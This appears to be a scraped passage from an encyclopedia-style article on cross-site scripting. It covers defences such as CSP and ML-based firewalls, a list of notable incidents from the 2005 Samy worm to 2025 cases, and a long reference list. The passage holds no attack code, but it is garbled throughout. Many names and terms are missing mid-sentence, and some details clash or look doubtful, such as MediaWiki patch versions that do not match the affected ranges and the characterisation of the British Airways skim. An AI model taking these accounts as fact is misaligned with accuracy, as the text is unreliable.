Meanwhile, machine learning-enhanced Web Application Firewalls (WAFs) employ to identify obfuscated or zero-day XSS attempts; for example, models like classifiers achieve over 99% accuracy in filtering malicious requests by analyzing patterns in payloads and traffic behavior. These techniques integrate seamlessly into contemporary development stacks, particularly single-page applications (SPAs). In frameworks like React and Vue, CSP can be enforced via meta tags or server headers during build processes, with nonces dynamically generated to allow framework-specific inline code while blocking user inputs, reducing XSS risks in dynamic UIs. For AI-driven applications, such as embedded s, defenses like strict CSP and Trusted Types are critical to counter prompt injection leading to XSS; a 2025 incident involving Lenovo's AI chatbot highlighted how inadequate input sanitization enabled session theft, underscoring the need for layered policies in these environments.

Notable Incidents

Pre-2020 Cases

One of the earliest and most influential cross-site scripting (XSS) incidents occurred in October 2005 with the Samy worm on , a stored XSS attack that exploited a in user profile pages to automatically add the attacker's username as a friend and propagate the malicious script. Created by , the worm infected over one million users within 20 hours, marking the first major example of social propagation via XSS in a social networking platform. This rapid spread highlighted the dangers of unencoded in profiles, leading to implement stricter input validation and temporarily shut down its platform to contain the outbreak. In 2013, a cross-site scripting in Yahoo Mail allowed attackers to inject malicious scripts, potentially enabling unauthorized access to user sessions and email content through reflected or stored mechanisms. Reported by security researchers, the flaw persisted despite initial patches, affecting Yahoo's vast user base of hundreds of millions and underscoring risks in email interfaces where scripts could execute in victims' browsers. Although exact numbers were not publicly quantified, the 's potential reach was significant given Yahoo Mail's scale, prompting enhanced client-side filtering in subsequent updates. The 2018 British Airways breach involved a reflected XSS attack by the Magecart group, who injected malicious into the airline's website via a compromised third-party script on the booking page. This skimming operation captured payment details from approximately 380,000 customers between August 21 and September 5, 2018, using just 22 lines of code to exfiltrate data to an attacker-controlled server. The incident exposed weaknesses in for external integrations, resulting in a £20 million fine from the UK's under GDPR for failing to secure adequately. These pre-2020 cases revealed common patterns in XSS exploitation, particularly in like social profiles and third-party script integrations such as payment gateways, where insufficient output encoding allowed injection and execution. The and Yahoo incidents demonstrated how stored and reflected variants could amplify through user interactions, while the attack illustrated risks in . Key lessons included the critical need for input sanitization and context-aware encoding, which drove widespread adoption of (CSP) in the 2010s to restrict script sources and mitigate inline injections following high-profile breaches. Financial repercussions, such as the penalty, emphasized regulatory pressures, influencing standards like guidelines for proactive defenses.

Post-2020 Cases

In 2020, a cross-site scripting (XSS) vulnerability in Web's desktop application, when paired with the version, enabled attackers to execute arbitrary code and read local files through a persistent XSS flaw. This DOM-based issue could be triggered via malicious links shared in chats, potentially leading to account takeover by stealing session tokens or credentials, affecting 's over 2 billion global users at the time. The was disclosed and patched rapidly by Meta in early 2020, preventing widespread exploitation. The 2024 Polyfill.io compromise involved the acquisition of the popular polyfill service by a Chinese firm, which then injected malicious code into the library served via CDN to over 100,000 websites worldwide. This injection acted as an XSS-like attack by executing unauthorized scripts in users' browsers, redirecting traffic to sites for scams and injecting trackers that exfiltrated session data through spoofed ad networks like . High-profile sites including government portals and e-commerce platforms were impacted, highlighting risks in third-party script dependencies; the attack persisted for months until domain by major CDNs. In 2025, a stored XSS vulnerability in Wikimedia's Parsoid parser (CVE-2025-32699) arose from improper Unicode normalization in the Action API, allowing malicious scripts to be embedded in AbuseFilter log entries viewed during Wikipedia editing sessions. This flaw affected MediaWiki versions before 1.39.12 and Parsoid before 0.16.1, potentially enabling script execution for editors with elevated privileges, though its exploitability was rated low due to the need for specific Unicode payloads. The issue underscored ongoing risks in systems handling international text, prompting patches in MediaWiki 1.43.1 and Parsoid 0.20.2. Post-patch analysis in of the 2019 Fortnite XSS incident revealed how a flaw in a retired web page allowed persistent script injection, leading to credential theft for thousands of accounts via intercepted login forms. The exploited unpatched DOM manipulation on the legacy page, which remained accessible and enabled attackers to hijack sessions for over 200 million players; emphasized the dangers of neglecting decommissioned endpoints. By , XSS attacks have increasingly targeted modern web architectures, with rising incidents in AI-driven chatbots and embedded widgets that process user inputs without adequate sanitization. Microsoft's Response Center (MSRC) reported mitigating over 970 XSS vulnerabilities since January 2024, many involving single-page applications (SPAs) and dynamic content injection in cloud environments. These trends reflect XSS's to evolving technologies, where untrusted data flows in real-time interfaces amplify potential impacts.

References

  1. https://owasp.org/www-community/attacks/xss/
  2. https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS
  3. https://csrc.nist.gov/glossary/term/cross_site_scripting
  4. https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_%28XSS%29
  5. https://owasp.org/www-community/Types_of_Cross-Site_Scripting
  6. https://portswigger.net/web-security/cross-site-scripting
  7. https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  8. https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP
  9. https://www.cgisecurity.com/lib/cross_site_scripting.pdf
  10. https://www.grc.com/sn/files/a_web_developers_guide_to_cross_site_scripting.pdf
  11. https://www.contrastsecurity.com/security-influencers/two-new-vulnerabilites-added-to-the-owasp-top-10
  12. http://www.webappsec.org/projects/articles/071105.shtml
  13. https://cwe.mitre.org/data/definitions/79.html
  14. https://arxiv.org/pdf/2205.08425
  15. https://secnora.com/blog/how-cross-site-scripting-xss-and-csrf-still-haunt-the-web/
  16. https://portswigger.net/web-security/cross-site-scripting/reflected
  17. https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting
  18. https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting
  19. https://www.invicti.com/learn/stored-xss-persistent-cross-site-scripting
  20. https://digitalcommons.odu.edu/cgi/viewcontent.cgi?article=1459&context=vjs
  21. https://nvd.nist.gov/vuln/detail/CVE-2025-8282
  22. https://zeropath.com/blog/cve-2025-9816-wp-statistics-stored-xss-summary
  23. https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
  24. https://owasp.org/www-community/attacks/DOM_Based_XSS
  25. https://portswigger.net/web-security/cross-site-scripting/dom-based
  26. https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting
  27. https://portswigger.net/burp/documentation/desktop/tools/dom-invader/dom-xss
  28. https://portswigger.net/burp/documentation/desktop/testing-workflow/input-validation/xss/dom-xss
  29. https://www.sucuri.net/guides/what-is-cross-site-scripting/
  30. https://security.stackexchange.com/questions/149734/difference-between-self-xss-and-reflected-xss
  31. https://www.netspi.com/blog/technical-blog/web-application-pentesting/weaponizing-self-xss/
  32. https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/
  33. https://aszx87410.github.io/beyond-xss/en/ch2/mutation-xss/
  34. https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/
  35. https://bughunters.google.com/blog/5038742869770240/escaping-and-in-attributes-how-it-helps-protect-against-mutation-xss
  36. https://www.acunetix.com/blog/articles/universal-cross-site-scripting-uxss/
  37. https://portswigger.net/web-security/prototype-pollution
  38. https://www.usenix.org/system/files/usenixsecurity24-cornelissen.pdf
  39. https://www.veracode.com/wp-content/uploads/2025/02/State-of-Software-Security-2025.pdf
  40. https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
  41. https://www.usenix.org/system/files/usenixsecurity24_slides-kirchner.pdf
  42. https://lab.wallarm.com/polyfill-io-supply-chain-attack-malicious-javascript-injection-puts-over-100k-websites-at-risk/
  43. https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-html
  44. https://beefproject.com/
  45. https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
  46. https://www.infosecinstitute.com/resources/application-security/csrf-xss-lethal-combination/
  47. https://portswigger.net/web-security/websockets
  48. https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
  49. https://www.paloaltonetworks.com/cyberpedia/xss-cross-site-scripting
  50. https://www.researchgate.net/publication/220775499_Social_networks%27_XSS_worms
  51. https://thehackernews.com/2025/07/why-react-didnt-kill-xss-new-javascript.html
  52. https://cybersecuritynews.com/microsoft-confirms-900-xss-vulnerabilities/
  53. https://blog.powr.io/e-commerce-security-and-building-consumer-trust
  54. https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
  55. https://owasp.org/www-project-java-encoder/
  56. http://htmlpurifier.org/
  57. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
  58. https://www.cycognito.com/learn/cyber-attack/xss.php
  59. https://escape.tech/blog/top-vulnerability-scanning-tools-2025/
  60. https://www.codeant.ai/blogs/the-only-xss-prevention-guide-you-need-in-2025
  61. https://noscript.net/
  62. https://www.imperva.com/blog/vulnerability-discovered-in-equalweb-accessibility-widget/
  63. https://dl.acm.org/doi/10.1145/3708821.3733889
  64. https://www.feroot.com/blog/prevent-xss-payment-pages/
  65. https://www.w3.org/TR/CSP2/
  66. https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
  67. https://www.w3.org/TR/CSP3/
  68. https://owasp.org/www-community/HttpOnly
  69. https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
  70. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
  71. https://developer.chrome.com/blog/escape-attributes
  72. https://www.w3.org/TR/trusted-types/
  73. https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API
  74. https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity
  75. https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html
  76. https://ieeexplore.ieee.org/document/10725511/
  77. https://betterstack.com/community/guides/monitoring/understanding-content-security-policy/
  78. https://sherlockedsecurity.com/web-content-security-policy/
  79. https://www.invicti.com/blog/web-security/web-llm-attacks-securing-ai-powered-applications
  80. https://adversa.ai/blog/lenovo-ai-chatbot-incident-critical-xss-vulnerability-exposes-enterprise-ai-security-gaps/
  81. https://arxiv.org/pdf/1903.00167
  82. https://owasp.org/www-chapter-czech-republic/slides/An_Infosec_Timeline_-_Noteworthy_Events_from_1970_to_2050.pdf
  83. https://www.securityweek.com/yahoo-mail-xss-security-hole-still-open-researchers-say/
  84. https://www.infosecurity-magazine.com/news/yahoo-mail-exploit-on-sale-for-700/
  85. https://nvd.nist.gov/vuln/detail/CVE-2013-6780
  86. https://www.wired.com/story/british-airways-hack-details/
  87. https://www.bbc.com/news/technology-45481976
  88. https://www.bbc.com/news/technology-54568784
  89. https://www.humansecurity.com/tech-engineering-blog/critical-security-flaw-found-in-whatsapp-desktop-platform-allowing-cybercriminals-read-from-the-file-system-access/
  90. https://www.whatsapp.com/security/advisories/2020?lang=en_US
  91. https://www.akamai.com/blog/security/polyfill-supply-chain-attack-what-to-know
  92. https://blog.qualys.com/vulnerabilities-threat-research/2024/06/28/polyfill-io-supply-chain-attack
  93. https://security.snyk.io/vuln/SNYK-PHP-WIKIMEDIAPARSOID-10346476
  94. https://www.cve.org/CVERecord?id=CVE-2025-32699
  95. https://www.mediawiki.org/wiki/Release_notes/1.39
  96. https://portswigger.net/daily-swig/xss-slip-up-exposed-fortnite-gamers-to-account-hijack
  97. https://www.ibm.com/think/news/cisa-fbi-release-secure-by-design-on-cross-site-scripting
  98. https://www.csoonline.com/article/3554821/whats-old-is-new-again-ai-is-bringing-xss-vulnerabilities-back-to-the-spotlight.html
  99. https://www.microsoft.com/en-us/msrc/blog/2025/09/why-xss-still-matters-msrcs-perspective-on-a-25-year-old-threat
Add your contribution
Related Hubs
Contribute something
User Avatar
No comments yet.